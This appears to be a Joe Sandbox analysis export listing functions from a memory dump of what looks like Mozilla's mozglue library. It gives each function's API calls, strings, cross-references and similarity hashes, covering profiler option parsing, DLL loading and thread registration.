Function 6C684640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C684777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C685585, 6C6855A8, 6C6855C3, 6C685624

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: fbb54f71b5fa2265611794cf2ff52da58238293a88f79f04037ea47ca01f1549
Instruction ID: 0da19b4b55901c30c9f29435120c620d38fa010fd445f52050501c2e65141882
Opcode Fuzzy Hash: fbb54f71b5fa2265611794cf2ff52da58238293a88f79f04037ea47ca01f1549
Instruction Fuzzy Hash: 4FB2AE71A067018FD308CF18C590725BBE2BFC5324B29C7ADE46A8B6E5D771E841CB99

Function 6C6C85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6C8C7C
__aulldiv.LIBCMT ref: 6C6C8DD7

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 9cae5ff41ac0ace3366885a203917504d79b6bf45f2b5a4a6dd8319b3bb599b4
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 70327071F001198BDF18CE9DC8A17AEB7B2FBC8304F15853AD506BB7A0DA349D458B96

Function 6C6D76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qfl, xrefs: 6C6D79FB, 6C6D7E0B, 6C6D7796, 6C6D79C0, 6C6D793C, 6C6D7B0B

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID: ~qfl
API String ID: 0-2285169542
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 81edceb352faac82fa4e86c0d5704fd04d5caad5800383c567adab519eec3de4
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: FC321A71E006198FCB14CF98C890AADFBF2FF88308F55816AC549A7749D731A986CF95

Function 6C6D6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qfl, xrefs: 6C6D79FB, 6C6D7E0B, 6C6D79C0, 6C6D7C72, 6C6D7C03, 6C6D793C, 6C6D7B0B

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID: ~qfl
API String ID: 0-2285169542
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: b5cba99ca770e64cbe1e31891d4b003ba1c89234f3ab6e8373ae2f95e1d15c82
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 0822E871E002198FCB14CF99C880AADF7F2FF89304F6585AAC949A7745D731A986CF94

Function 6C6A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C674A63,?,?), ref: 6C6A5F06

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 00d95edfba130d53e97e823b80a7cf9ebf02086a9ac90fcdc2e433685d46ac5a
Instruction ID: 9727a04c8b43f9084a38dfa29ee82480707ddf39bf3d2f8fa219e04bff2e2cab
Opcode Fuzzy Hash: 00d95edfba130d53e97e823b80a7cf9ebf02086a9ac90fcdc2e433685d46ac5a
Instruction Fuzzy Hash: 4BC1BD75E016099BCB04CF99C1906EEBBF2BF8A318F28415DD8556BB45D732AC06CF94

Function 6C690512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 854117d4735f5e256877cca29d8c7eca2074ef968e986e244701bdbb9b6aaed4
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 9F221875E0461ACFCB14CF98C890AADF7B2FF89308F648199C54AA7705D731A986CF94

Function 6C6DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83420fa022c30eb0f1c7a386dc7d5c1dc0a0471d12dcba96b41a8631758c5c11
Instruction ID: bb596635c01339643a230a0a4d6d3007fc99daae51f0b90ce42733bc926bf628
Opcode Fuzzy Hash: 83420fa022c30eb0f1c7a386dc7d5c1dc0a0471d12dcba96b41a8631758c5c11
Instruction Fuzzy Hash: 41F1287160C7458FD700CE28C8917AAB7E2AFC6318F1A8A2DE4D487782E774F845C796

Function 6C66C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: d9f8460672cdd93defe4512ce5ea3cf3504f24eb5dff1617cb3e35e92ad853ee
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 34A1B271F0061A9BDF08CE69C8913AEB7F2AFC9354F188229D916E7781D7349C068BD5

Function 6C6C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C69E1A5), ref: 6C6C5606
LoadLibraryW.KERNEL32(gdi32,?,6C69E1A5), ref: 6C6C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6C57FF

Strings

GetSystemMetricsForDpi, xrefs: 6C6C5677
GetMonitorInfoW, xrefs: 6C6C57A2
CreateWindowExW, xrefs: 6C6C56C5
StretchDIBits, xrefs: 6C6C57CC
CreateSolidBrush, xrefs: 6C6C57E4
EnableNonClientDpiScaling, xrefs: 6C6C5666
ReleaseDC, xrefs: 6C6C5742
LoadIconW, xrefs: 6C6C575B
MonitorFromWindow, xrefs: 6C6C578D
LoadCursorW, xrefs: 6C6C5774
RegisterClassW, xrefs: 6C6C56AC
gdi32, xrefs: 6C6C560A
GetWindowDC, xrefs: 6C6C5710
ShowWindow, xrefs: 6C6C56DE
GetDpiForWindow, xrefs: 6C6C5690
DeleteObject, xrefs: 6C6C57F9
AreDpiAwarenessContextsEqual, xrefs: 6C6C5637
GetThreadDpiAwarenessContext, xrefs: 6C6C562D
user32, xrefs: 6C6C5601
SetWindowPos, xrefs: 6C6C56F7
FillRect, xrefs: 6C6C5729
SetWindowLongPtrW, xrefs: 6C6C57B7

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 7580e3be5a4dd075e3ae1ed43f4d7177a94e810c2754aa46a8714fad1243d3b0
Instruction ID: 9dbe3127e2591c7eb030c014a9692025b572665d2eef97a3ced6327c948cac74
Opcode Fuzzy Hash: 7580e3be5a4dd075e3ae1ed43f4d7177a94e810c2754aa46a8714fad1243d3b0
Instruction Fuzzy Hash: 6451847071A7129BDF409F369DC49273AF8AB5E384F104427A921E2A56EF70C801DF6E

Function 6C6ACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C67582D), ref: 6C6ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C67582D), ref: 6C6ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6DFE98,?,?,?,?,?,6C67582D), ref: 6C6ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C67582D), ref: 6C6ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C67582D), ref: 6C6ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C67582D), ref: 6C6ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C67582D), ref: 6C6ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C6ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C6ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C6ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C6ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C6ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C6ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C6ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C6ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C6ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C6ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C6ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C6ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C6ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C6ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C6ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C6ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C6ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C6ACE8A

Strings

mainthreadio, xrefs: 6C6ACC7C
ipcmessages, xrefs: 6C6ACDBE
processcpu, xrefs: 6C6ACE6E
noiostacks, xrefs: 6C6ACCBE
screenshots, xrefs: 6C6ACCD4
java, xrefs: 6C6ACC37
nostacksampling, xrefs: 6C6ACD7C
fileio, xrefs: 6C6ACC92
jsallocations, xrefs: 6C6ACD0E
Unrecognized feature "%s"., xrefs: 6C6ACEA0
leaf, xrefs: 6C6ACC66
notimerresolutionchange, xrefs: 6C6ACE00
default, xrefs: 6C6ACC21
seqstyle, xrefs: 6C6ACCE6
fileioall, xrefs: 6C6ACCA8
markersallthreads, xrefs: 6C6ACE42
power, xrefs: 6C6ACE84
audiocallbacktracing, xrefs: 6C6ACDD4
stackwalk, xrefs: 6C6ACCF8
unregisteredthreads, xrefs: 6C6ACE58
cpuallthreads, xrefs: 6C6ACE16
samplingallthreads, xrefs: 6C6ACE2C
preferencereads, xrefs: 6C6ACD92
nativeallocations, xrefs: 6C6ACDA8

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 8a13abf00306c28c2f4ecb320d1e7efee04acbefbe3c0a95d6301d2833d83d6e
Instruction ID: b5fdef3252935f206a0e54fd0821273ccb860ab90a1961965554e1d12f991269
Opcode Fuzzy Hash: 8a13abf00306c28c2f4ecb320d1e7efee04acbefbe3c0a95d6301d2833d83d6e
Instruction Fuzzy Hash: 725166D154622972FA0032D56D20BEA3585EF5734AF124536DE07A5E80FE06BA0BC9BF

Function 6C674470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C674730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6744B2,6C6EE21C,6C6EF7F8), ref: 6C67473E
Part of subcall function 6C674730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C67474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6744D2
InitOnceExecuteOnce.KERNEL32(6C6EF80C,6C66F240,?,?), ref: 6C67451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C67455C
LoadLibraryW.KERNEL32(?), ref: 6C674592
InitializeCriticalSection.KERNEL32(6C6EF770), ref: 6C6745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6745BB
InitOnceExecuteOnce.KERNEL32(6C6EF818,6C66F240,?,?), ref: 6C674612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C674636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C674644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C67466D
VerSetConditionMask.NTDLL ref: 6C67469F
VerSetConditionMask.NTDLL ref: 6C6746AB
VerSetConditionMask.NTDLL ref: 6C6746B2
VerSetConditionMask.NTDLL ref: 6C6746B9
VerSetConditionMask.NTDLL ref: 6C6746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6746FD

Strings

l, xrefs: 6C674578
kernel32.dll, xrefs: 6C6744CD
WRusr.dll, xrefs: 6C6744B5
Gnl, xrefs: 6C6744FC
NativeNtBlockSet_Write, xrefs: 6C6746F7
user32.dll, xrefs: 6C674557, 6C67463F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gnl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3001837925
Opcode ID: d6933df9c396eb4bc13c38b6d2d73b4157ed9059358f99779f7328bdb262e6e4
Instruction ID: 0ac599a68751c59a43a0c64419e4115c827854852a3054f8b9f9b764326e1e4e
Opcode Fuzzy Hash: d6933df9c396eb4bc13c38b6d2d73b4157ed9059358f99779f7328bdb262e6e4
Instruction Fuzzy Hash: AC612BB060D3449FEB208F66DC89BA577B8EB8A348F04885AE5044B641D7F08945CF6E

Function 6C6AF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C674A68), ref: 6C6A945E
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6A9470
Part of subcall function 6C6A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6A9482
Part of subcall function 6C6A9420: __Init_thread_footer.LIBCMT ref: 6C6A949F

GetCurrentThreadId.KERNEL32 ref: 6C6AF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C6AF8F9

Part of subcall function 6C676390: GetCurrentThreadId.KERNEL32 ref: 6C6763D0
Part of subcall function 6C676390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6763DF
Part of subcall function 6C676390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C67640E

ReleaseSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AF93A
GetCurrentThreadId.KERNEL32 ref: 6C6AF98A
GetCurrentThreadId.KERNEL32 ref: 6C6AF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AF716

Part of subcall function 6C6A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6A94EE
Part of subcall function 6C6A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C6A9508

Part of subcall function 6C66B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C66B5E0

GetCurrentThreadId.KERNEL32 ref: 6C6AF739
AcquireSRWLockExclusive.KERNEL32(6C6EF4B8), ref: 6C6AF746
GetCurrentThreadId.KERNEL32 ref: 6C6AF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6E385B,00000002,?,?,?,?,?), ref: 6C6AF829
free.MOZGLUE(?,?,00000000,?), ref: 6C6AF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C6AF866
free.MOZGLUE(?), ref: 6C6AFA0C

Part of subcall function 6C675E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6755E1), ref: 6C675E8C
Part of subcall function 6C675E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675E9D
Part of subcall function 6C675E60: GetCurrentThreadId.KERNEL32 ref: 6C675EAB
Part of subcall function 6C675E60: GetCurrentThreadId.KERNEL32 ref: 6C675EB8
Part of subcall function 6C675E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675ECF
Part of subcall function 6C675E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C675F27
Part of subcall function 6C675E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C675F47
Part of subcall function 6C675E60: GetCurrentProcess.KERNEL32 ref: 6C675F53
Part of subcall function 6C675E60: GetCurrentThread.KERNEL32 ref: 6C675F5C
Part of subcall function 6C675E60: GetCurrentProcess.KERNEL32 ref: 6C675F66
Part of subcall function 6C675E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C675F7E

free.MOZGLUE(?), ref: 6C6AF9C5
free.MOZGLUE(?), ref: 6C6AF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C6AF71F
Thread , xrefs: 6C6AF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C6AF9A6
" attempted to re-register as ", xrefs: 6C6AF858

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b30b253137647807e818e2f9c899fcc33e87688820aecd4cbbfa0e8c1ef13186
Instruction ID: 2a3e17d430b13412024b937a1307c01c485818c51ac9d7576c230a00e310bad4
